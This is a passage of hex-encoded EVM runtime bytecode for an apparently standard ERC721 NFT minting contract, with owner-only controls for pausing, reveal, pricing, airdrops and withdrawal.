0x6080604052600436106102045760003560e01c80635c975abb11610118578063a22cb465116100a0578063d5abeb011161006f578063d5abeb0114610730578063e985e9c51461075b578063f2fde38b14610798578063f9daade4146107c1578063fe2c7fee146107ea57610204565b8063a22cb46514610678578063aff72141146106a1578063b88d4fde146106ca578063c87b56dd146106f357610204565b80638da5cb5b116100e75780638da5cb5b146105c65780638e6fe1a3146105f157806393eff8511461061a57806395d89b4114610631578063a0712d681461065c57610204565b80635c975abb146104f85780636352211e146105235780636f8b44b01461056057806370a082311461058957610204565b80632dfa9d001161019b57806344a0d68a1161016a57806344a0d68a146104275780634c1d3f8b146104505780634c2612471461047b57806351830227146104a457806355f804b3146104cf57610204565b80632dfa9d001461037f5780633ccfd60b146103aa57806342842e0e146103c1578063438b6300146103ea57610204565b806313faede6116101d757806313faede6146102d757806318160ddd146103025780631db2f61d1461032d57806323b872dd1461035657610204565b806301ffc9a71461020957806306fdde0314610246578063081812fc14610271578063095ea7b3146102ae575b600080fd5b34801561021557600080fd5b50610230600480360381019061022b9190612b1f565b610813565b60405161023d9190612b67565b60405180910390f35b34801561025257600080fd5b5061025b6108f5565b6040516102689190612c1b565b60405180910390f35b34801561027d57600080fd5b5061029860048036038101906102939190612c73565b610987565b6040516102a59190612ce1565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d09190612d28565b610a0c565b005b3480156102e357600080fd5b506102ec610b24565b6040516102f99190612d77565b60405180910390f35b34801561030e57600080fd5b50610317610b2a565b6040516103249190612d77565b60405180910390f35b34801561033957600080fd5b50610354600480360381019061034f9190612c73565b610b3b565b005b34801561036257600080fd5b5061037d60048036038101906103789190612d92565b610bc1565b005b34801561038b57600080fd5b50610394610c21565b6040516103a19190612d77565b60405180910390f35b3480156103b657600080fd5b506103bf610c27565b005b3480156103cd57600080fd5b506103e860048036038101906103e39190612d92565b610d23565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612de5565b610d43565b60405161041e9190612ed0565b60405180910390f35b34801561043357600080fd5b5061044e60048036038101906104499190612c73565b610e4e565b005b34801561045c57600080fd5b50610465610ed4565b6040516104729190612d77565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190613027565b610eda565b005b3480156104b057600080fd5b506104b9610f7d565b6040516104c69190612b67565b60405180910390f35b3480156104db57600080fd5b506104f660048036038101906104f19190613027565b610f90565b005b34801561050457600080fd5b5061050d611026565b60405161051a9190612b67565b60405180910390f35b34801561052f57600080fd5b5061054a60048036038101906105459190612c73565b611039565b6040516105579190612ce1565b60405180910390f35b34801561056c57600080fd5b5061058760048036038101906105829190612c73565b6110eb565b005b34801561059557600080fd5b506105b060048036038101906105ab9190612de5565b611171565b6040516105bd9190612d77565b60405180910390f35b3480156105d257600080fd5b506105db611229565b6040516105e89190612ce1565b60405180910390f35b3480156105fd57600080fd5b5061061860048036038101906106139190612c73565b611253565b005b34801561062657600080fd5b5061062f6112d9565b005b34801561063d57600080fd5b50610646611381565b6040516106539190612c1b565b60405180910390f35b61067660048036038101906106719190612c73565b611413565b005b34801561068457600080fd5b5061069f600480360381019061069a919061309c565b61159f565b005b3480156106ad57600080fd5b506106c860048036038101906106c39190613027565b6115b5565b005b3480156106d657600080fd5b506106f160048036038101906106ec919061317d565b61164b565b005b3480156106ff57600080fd5b5061071a60048036038101906107159190612c73565b6116ad565b6040516107279190612c1b565b60405180910390f35b34801561073c57600080fd5b506107456117fe565b6040516107529190612d77565b60405180910390f35b34801561076757600080fd5b50610782600480360381019061077d9190613200565b611804565b60405161078f9190612b67565b60405180910390f35b3480156107a457600080fd5b506107bf60048036038101906107ba9190612de5565b611898565b005b3480156107cd57600080fd5b506107e860048036038101906107e391906132f6565b611990565b005b3480156107f657600080fd5b50610811600480360381019061080c9190613027565b611bb0565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108de57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806108ee57506108ed82611c46565b5b9050919050565b606060008054610904906133a6565b80601f0160208091040260200160405190810160405280929190818152602001828054610930906133a6565b801561097d5780601f106109525761010080835404028352916020019161097d565b820191906000526020600020905b81548152906001019060200180831161096057829003601f168201915b5050505050905090565b600061099282611cb0565b6109d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c89061344a565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a1782611039565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7f906134dc565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610aa7611d1c565b73ffffffffffffffffffffffffffffffffffffffff161480610ad65750610ad581610ad0611d1c565b611804565b5b610b15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0c9061356e565b60405180910390fd5b610b1f8383611d24565b505050565b600a5481565b6000610b36600e611ddd565b905090565b610b43611d1c565b73ffffffffffffffffffffffffffffffffffffffff16610b61611229565b73ffffffffffffffffffffffffffffffffffffffff1614610bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bae906135da565b60405180910390fd5b80600c8190555050565b610bd2610bcc611d1c565b82611deb565b610c11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c089061366c565b60405180910390fd5b610c1c838383611ec9565b505050565b600d5481565b610c2f611d1c565b73ffffffffffffffffffffffffffffffffffffffff16610c4d611229565b73ffffffffffffffffffffffffffffffffffffffff1614610ca3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9a906135da565b60405180910390fd5b6000610cad611229565b73ffffffffffffffffffffffffffffffffffffffff1647604051610cd0906136bd565b60006040518083038185875af1925050503d8060008114610d0d576040519150601f19603f3d011682016040523d82523d6000602084013e610d12565b606091505b5050905080610d2057600080fd5b50565b610d3e8383836040518060200160405280600081525061164b565b505050565b60606000610d5083611171565b905060008167ffffffffffffffff811115610d6e57610d6d612efc565b5b604051908082528060200260200182016040528015610d9c5781602001602082028036833780820191505090505b50905060006001905060005b8381108015610db95750600b548211155b15610e42576000610dc983611039565b90508673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e2e5782848381518110610e1357610e126136d2565b5b6020026020010181815250508180610e2a90613730565b9250505b8280610e3990613730565b93505050610da8565b82945050505050919050565b610e56611d1c565b73ffffffffffffffffffffffffffffffffffffffff16610e74611229565b73ffffffffffffffffffffffffffffffffffffffff1614610eca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec1906135da565b60405180910390fd5b80600a8190555050565b600c5481565b610ee2611d1c565b73ffffffffffffffffffffffffffffffffffffffff16610f00611229565b73ffffffffffffffffffffffffffffffffffffffff1614610f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4d906135da565b60405180910390fd5b6001600660156101000a81548160ff021916908315150217905550610f7a81610f90565b50565b600660159054906101000a900460ff1681565b610f98611d1c565b73ffffffffffffffffffffffffffffffffffffffff16610fb6611229565b73ffffffffffffffffffffffffffffffffffffffff161461100c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611003906135da565b60405180910390fd5b8060089080519060200190611022929190612a10565b5050565b600660149054906101000a900460ff1681565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156110e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d9906137eb565b60405180910390fd5b80915050919050565b6110f3611d1c565b73ffffffffffffffffffffffffffffffffffffffff16611111611229565b73ffffffffffffffffffffffffffffffffffffffff1614611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e906135da565b60405180910390fd5b80600b8190555050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d99061387d565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61125b611d1c565b73ffffffffffffffffffffffffffffffffffffffff16611279611229565b73ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c6906135da565b60405180910390fd5b80600d8190555050565b6112e1611d1c565b73ffffffffffffffffffffffffffffffffffffffff166112ff611229565b73ffffffffffffffffffffffffffffffffffffffff1614611355576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134c906135da565b60405180910390fd5b600660149054906101000a900460ff1615600660146101000a81548160ff021916908315150217905550565b606060018054611390906133a6565b80601f01602080910402602001604051908101604052809291908181526020018280546113bc906133a6565b80156114095780601f106113de57610100808354040283529160200191611409565b820191906000526020600020905b8154815290600101906020018083116113ec57829003601f168201915b5050505050905090565b600081611420600e611ddd565b61142a919061389d565b905060008211801561143e5750600d548211155b61147d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114749061393f565b60405180910390fd5b600b548111156114c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b9906139ab565b60405180910390fd5b600660149054906101000a900460ff1615611512576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150990613a17565b60405180910390fd5b81600a546115209190613a37565b341015611562576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155990613add565b60405180910390fd5b61157361156d611d1c565b83612130565b6000600a541480156115875750600c548110155b1561159b5766b1a2bc2ec50000600a819055505b5050565b6115b16115aa611d1c565b8383612170565b5050565b6115bd611d1c565b73ffffffffffffffffffffffffffffffffffffffff166115db611229565b73ffffffffffffffffffffffffffffffffffffffff1614611631576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611628906135da565b60405180910390fd5b8060099080519060200190611647929190612a10565b5050565b61165c611656611d1c565b83611deb565b61169b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116929061366c565b60405180910390fd5b6116a7848484846122dd565b50505050565b60606116b882611cb0565b6116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee90613b6f565b60405180910390fd5b600660159054906101000a900460ff1661179d5760078054611718906133a6565b80601f0160208091040260200160405190810160405280929190818152602001828054611744906133a6565b80156117915780601f1061176657610100808354040283529160200191611791565b820191906000526020600020905b81548152906001019060200180831161177457829003601f168201915b505050505090506117f9565b60006117a7612339565b905060008151116117c757604051806020016040528060008152506117f5565b806117d1846123cb565b60096040516020016117e593929190613c5f565b6040516020818303038152906040525b9150505b919050565b600b5481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6118a0611d1c565b73ffffffffffffffffffffffffffffffffffffffff166118be611229565b73ffffffffffffffffffffffffffffffffffffffff1614611914576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190b906135da565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197b90613d02565b60405180910390fd5b61198d8161252c565b50565b611998611d1c565b73ffffffffffffffffffffffffffffffffffffffff166119b6611229565b73ffffffffffffffffffffffffffffffffffffffff1614611a0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a03906135da565b60405180910390fd5b818190508484905014611a2257611a21613d22565b5b600084849050118015611a385750600082829050115b611a4557611a44613d22565b5b600080600090505b83839050811015611aa45783836000818110611a6c57611a6b6136d2565b5b9050602002016020810190611a819190613d8a565b60ff1682611a8f919061389d565b91508080611a9c90613730565b915050611a4d565b50600081611ab2600e611ddd565b611abc919061389d565b9050600b54811115611b03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afa906139ab565b60405180910390fd5b60005b86869050811015611b7f57611b6c878783818110611b2757611b266136d2565b5b9050602002016020810190611b3c9190612de5565b868684818110611b4f57611b4e6136d2565b5b9050602002016020810190611b649190613d8a565b60ff16612130565b8080611b7790613730565b915050611b06565b506000600a54148015611b945750600c548110155b15611ba85766f8b0a10e470000600a819055505b505050505050565b611bb8611d1c565b73ffffffffffffffffffffffffffffffffffffffff16611bd6611229565b73ffffffffffffffffffffffffffffffffffffffff1614611c2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c23906135da565b60405180910390fd5b8060079080519060200190611c42929190612a10565b5050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16611d9783611039565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b600081600001549050919050565b6000611df682611cb0565b611e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e2c90613e29565b60405180910390fd5b6000611e4083611039565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611eaf57508373ffffffffffffffffffffffffffffffffffffffff16611e9784610987565b73ffffffffffffffffffffffffffffffffffffffff16145b80611ec05750611ebf8185611804565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611ee982611039565b73ffffffffffffffffffffffffffffffffffffffff1614611f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3690613ebb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611faf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa690613f4d565b60405180910390fd5b611fba8383836125f2565b611fc5600082611d24565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546120159190613f6d565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461206c919061389d565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a461212b8383836125f7565b505050565b60005b8181101561216b57612145600e6125fc565b61215883612153600e611ddd565b612612565b808061216390613730565b915050612133565b505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613fed565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31836040516122d09190612b67565b60405180910390a3505050565b6122e8848484611ec9565b6122f484848484612630565b612333576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161232a9061407f565b60405180910390fd5b50505050565b606060088054612348906133a6565b80601f0160208091040260200160405190810160405280929190818152602001828054612374906133a6565b80156123c15780601f10612396576101008083540402835291602001916123c1565b820191906000526020600020905b8154815290600101906020018083116123a457829003601f168201915b5050505050905090565b60606000821415612413576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612527565b600082905060005b6000821461244557808061242e90613730565b915050600a8261243e91906140ce565b915061241b565b60008167ffffffffffffffff81111561246157612460612efc565b5b6040519080825280601f01601f1916602001820160405280156124935781602001600182028036833780820191505090505b5090505b60008514612520576001826124ac9190613f6d565b9150600a856124bb91906140ff565b60306124c7919061389d565b60f81b8183815181106124dd576124dc6136d2565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561251991906140ce565b9450612497565b8093505050505b919050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b6001816000016000828254019250508190555050565b61262c8282604051806020016040528060008152506127b8565b5050565b60006126518473ffffffffffffffffffffffffffffffffffffffff16612813565b156127ab578373ffffffffffffffffffffffffffffffffffffffff1663150b7a0261267a611d1c565b8786866040518563ffffffff1660e01b815260040161269c9493929190614185565b6020604051808303816000875af19250505080156126d857506040513d601f19601f820116820180604052508101906126d591906141e6565b60015b61275b573d8060008114612708576040519150601f19603f3d011682016040523d82523d6000602084013e61270d565b606091505b50600081511415612753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274a9061407f565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506127b0565b600190505b949350505050565b6127c28383612836565b6127cf6000848484612630565b61280e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128059061407f565b60405180910390fd5b505050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156128a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289d9061425f565b60405180910390fd5b6128af81611cb0565b156128ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128e6906142cb565b60405180910390fd5b6128fb600083836125f2565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461294b919061389d565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4612a0c600083836125f7565b5050565b828054612a1c906133a6565b90600052602060002090601f016020900481019282612a3e5760008555612a85565b82601f10612a5757805160ff1916838001178555612a85565b82800160010185558215612a85579182015b82811115612a84578251825591602001919060010190612a69565b5b509050612a929190612a96565b5090565b5b80821115612aaf576000816000905550600101612a97565b5090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b612afc81612ac7565b8114612b0757600080fd5b50565b600081359050612b1981612af3565b92915050565b600060208284031215612b3557612b34612abd565b5b6000612b4384828501612b0a565b91505092915050565b60008115159050919050565b612b6181612b4c565b82525050565b6000602082019050612b7c6000830184612b58565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612bbc578082015181840152602081019050612ba1565b83811115612bcb576000848401525b50505050565b6000601f19601f8301169050919050565b6000612bed82612b82565b612bf78185612b8d565b9350612c07818560208601612b9e565b612c1081612bd1565b840191505092915050565b60006020820190508181036000830152612c358184612be2565b905092915050565b6000819050919050565b612c5081612c3d565b8114612c5b57600080fd5b50565b600081359050612c6d81612c47565b92915050565b600060208284031215612c8957612c88612abd565b5b6000612c9784828501612c5e565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ccb82612ca0565b9050919050565b612cdb81612cc0565b82525050565b6000602082019050612cf66000830184612cd2565b92915050565b612d0581612cc0565b8114612d1057600080fd5b50565b600081359050612d2281612cfc565b92915050565b60008060408385031215612d3f57612d3e612abd565b5b6000612d4d85828601612d13565b9250506020612d5e85828601612c5e565b9150509250929050565b612d7181612c3d565b82525050565b6000602082019050612d8c6000830184612d68565b92915050565b600080600060608486031215612dab57612daa612abd565b5b6000612db986828701612d13565b9350506020612dca86828701612d13565b9250506040612ddb86828701612c5e565b9150509250925092565b600060208284031215612dfb57612dfa612abd565b5b6000612e0984828501612d13565b91505092915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612e4781612c3d565b82525050565b6000612e598383612e3e565b60208301905092915050565b6000602082019050919050565b6000612e7d82612e12565b612e878185612e1d565b9350612e9283612e2e565b8060005b83811015612ec3578151612eaa8882612e4d565b9750612eb583612e65565b925050600181019050612e96565b5085935050505092915050565b60006020820190508181036000830152612eea8184612e72565b905092915050565b600080fd5b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612f3482612bd1565b810181811067ffffffffffffffff82111715612f5357612f52612efc565b5b80604052505050565b6000612f66612ab3565b9050612f728282612f2b565b919050565b600067ffffffffffffffff821115612f9257612f91612efc565b5b612f9b82612bd1565b9050602081019050919050565b82818337600083830152505050565b6000612fca612fc584612f77565b612f5c565b905082815260208101848484011115612fe657612fe5612ef7565b5b612ff1848285612fa8565b509392505050565b600082601f83011261300e5761300d612ef2565b5b813561301e848260208601612fb7565b91505092915050565b60006020828403121561303d5761303c612abd565b5b600082013567ffffffffffffffff81111561305b5761305a612ac2565b5b61306784828501612ff9565b91505092915050565b61307981612b4c565b811461308457600080fd5b50565b60008135905061309681613070565b92915050565b600080604083850312156130b3576130b2612abd565b5b60006130c185828601612d13565b92505060206130d285828601613087565b9150509250929050565b600067ffffffffffffffff8211156130f7576130f6612efc565b5b61310082612bd1565b9050602081019050919050565b600061312061311b846130dc565b612f5c565b90508281526020810184848401111561313c5761313b612ef7565b5b613147848285612fa8565b509392505050565b600082601f83011261316457613163612ef2565b5b813561317484826020860161310d565b91505092915050565b6000806000806080858703121561319757613196612abd565b5b60006131a587828801612d13565b94505060206131b687828801612d13565b93505060406131c787828801612c5e565b925050606085013567ffffffffffffffff8111156131e8576131e7612ac2565b5b6131f48782880161314f565b91505092959194509250565b6000806040838503121561321757613216612abd565b5b600061322585828601612d13565b925050602061323685828601612d13565b9150509250929050565b600080fd5b600080fd5b60008083601f8401126132605761325f612ef2565b5b8235905067ffffffffffffffff81111561327d5761327c613240565b5b60208301915083602082028301111561329957613298613245565b5b9250929050565b60008083601f8401126132b6576132b5612ef2565b5b8235905067ffffffffffffffff8111156132d3576132d2613240565b5b6020830191508360208202830111156132ef576132ee613245565b5b9250929050565b600080600080604085870312156133105761330f612abd565b5b600085013567ffffffffffffffff81111561332e5761332d612ac2565b5b61333a8782880161324a565b9450945050602085013567ffffffffffffffff81111561335d5761335c612ac2565b5b613369878288016132a0565b925092505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806133be57607f821691505b602082108114156133d2576133d1613377565b5b50919050565b7f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b6000613434602c83612b8d565b915061343f826133d8565b604082019050919050565b6000602082019050818103600083015261346381613427565b9050919050565b7f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006134c6602183612b8d565b91506134d18261346a565b604082019050919050565b600060208201905081810360008301526134f5816134b9565b9050919050565b7f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000602082015250565b6000613558603883612b8d565b9150613563826134fc565b604082019050919050565b600060208201905081810360008301526135878161354b565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006135c4602083612b8d565b91506135cf8261358e565b602082019050919050565b600060208201905081810360008301526135f3816135b7565b9050919050565b7f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008201527f776e6572206e6f7220617070726f766564000000000000000000000000000000602082015250565b6000613656603183612b8d565b9150613661826135fa565b604082019050919050565b6000602082019050818103600083015261368581613649565b9050919050565b600081905092915050565b50565b60006136a760008361368c565b91506136b282613697565b600082019050919050565b60006136c88261369a565b9150819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061373b82612c3d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561376e5761376d613701565b5b600182019050919050565b7f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008201527f656e7420746f6b656e0000000000000000000000000000000000000000000000602082015250565b60006137d5602983612b8d565b91506137e082613779565b604082019050919050565b60006020820190508181036000830152613804816137c8565b9050919050565b7f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008201527f726f206164647265737300000000000000000000000000000000000000000000602082015250565b6000613867602a83612b8d565b91506138728261380b565b604082019050919050565b600060208201905081810360008301526138968161385a565b9050919050565b60006138a882612c3d565b91506138b383612c3d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138e8576138e7613701565b5b828201905092915050565b7f496e76616c6964206d696e7420616d6f756e7400000000000000000000000000600082015250565b6000613929601383612b8d565b9150613934826138f3565b602082019050919050565b600060208201905081810360008301526139588161391c565b9050919050565b7f4d617820746f6b656e20737570706c7920657863656564656400000000000000600082015250565b6000613995601983612b8d565b91506139a08261395f565b602082019050919050565b600060208201905081810360008301526139c481613988565b9050919050565b7f4d696e74696e6720697320706175736564000000000000000000000000000000600082015250565b6000613a01601183612b8d565b9150613a0c826139cb565b602082019050919050565b60006020820190508181036000830152613a30816139f4565b9050919050565b6000613a4282612c3d565b9150613a4d83612c3d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a8657613a85613701565b5b828202905092915050565b7f496e73756666696369656e742066756e64730000000000000000000000000000600082015250565b6000613ac7601283612b8d565b9150613ad282613a91565b602082019050919050565b60006020820190508181036000830152613af681613aba565b9050919050565b7f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008201527f6e6578697374656e7420746f6b656e0000000000000000000000000000000000602082015250565b6000613b59602f83612b8d565b9150613b6482613afd565b604082019050919050565b60006020820190508181036000830152613b8881613b4c565b9050919050565b600081905092915050565b6000613ba582612b82565b613baf8185613b8f565b9350613bbf818560208601612b9e565b80840191505092915050565b60008190508160005260206000209050919050565b60008154613bed816133a6565b613bf78186613b8f565b94506001821660008114613c125760018114613c2357613c56565b60ff19831686528186019350613c56565b613c2c85613bcb565b60005b83811015613c4e57815481890152600182019150602081019050613c2f565b838801955050505b50505092915050565b6000613c6b8286613b9a565b9150613c778285613b9a565b9150613c838284613be0565b9150819050949350505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613cec602683612b8d565b9150613cf782613c90565b604082019050919050565b60006020820190508181036000830152613d1b81613cdf565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052600160045260246000fd5b600060ff82169050919050565b613d6781613d51565b8114613d7257600080fd5b50565b600081359050613d8481613d5e565b92915050565b600060208284031215613da057613d9f612abd565b5b6000613dae84828501613d75565b91505092915050565b7f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008201527f697374656e7420746f6b656e0000000000000000000000000000000000000000602082015250565b6000613e13602c83612b8d565b9150613e1e82613db7565b604082019050919050565b60006020820190508181036000830152613e4281613e06565b9050919050565b7f4552433732313a207472616e736665722066726f6d20696e636f72726563742060008201527f6f776e6572000000000000000000000000000000000000000000000000000000602082015250565b6000613ea5602583612b8d565b9150613eb082613e49565b604082019050919050565b60006020820190508181036000830152613ed481613e98565b9050919050565b7f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613f37602483612b8d565b9150613f4282613edb565b604082019050919050565b60006020820190508181036000830152613f6681613f2a565b9050919050565b6000613f7882612c3d565b9150613f8383612c3d565b925082821015613f9657613f95613701565b5b828203905092915050565b7f4552433732313a20617070726f766520746f2063616c6c657200000000000000600082015250565b6000613fd7601983612b8d565b9150613fe282613fa1565b602082019050919050565b6000602082019050818103600083015261400681613fca565b9050919050565b7f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008201527f63656976657220696d706c656d656e7465720000000000000000000000000000602082015250565b6000614069603283612b8d565b91506140748261400d565b604082019050919050565b600060208201905081810360008301526140988161405c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006140d982612c3d565b91506140e483612c3d565b9250826140f4576140f361409f565b5b828204905092915050565b600061410a82612c3d565b915061411583612c3d565b9250826141255761412461409f565b5b828206905092915050565b600081519050919050565b600082825260208201905092915050565b600061415782614130565b614161818561413b565b9350614171818560208601612b9e565b61417a81612bd1565b840191505092915050565b600060808201905061419a6000830187612cd2565b6141a76020830186612cd2565b6141b46040830185612d68565b8181036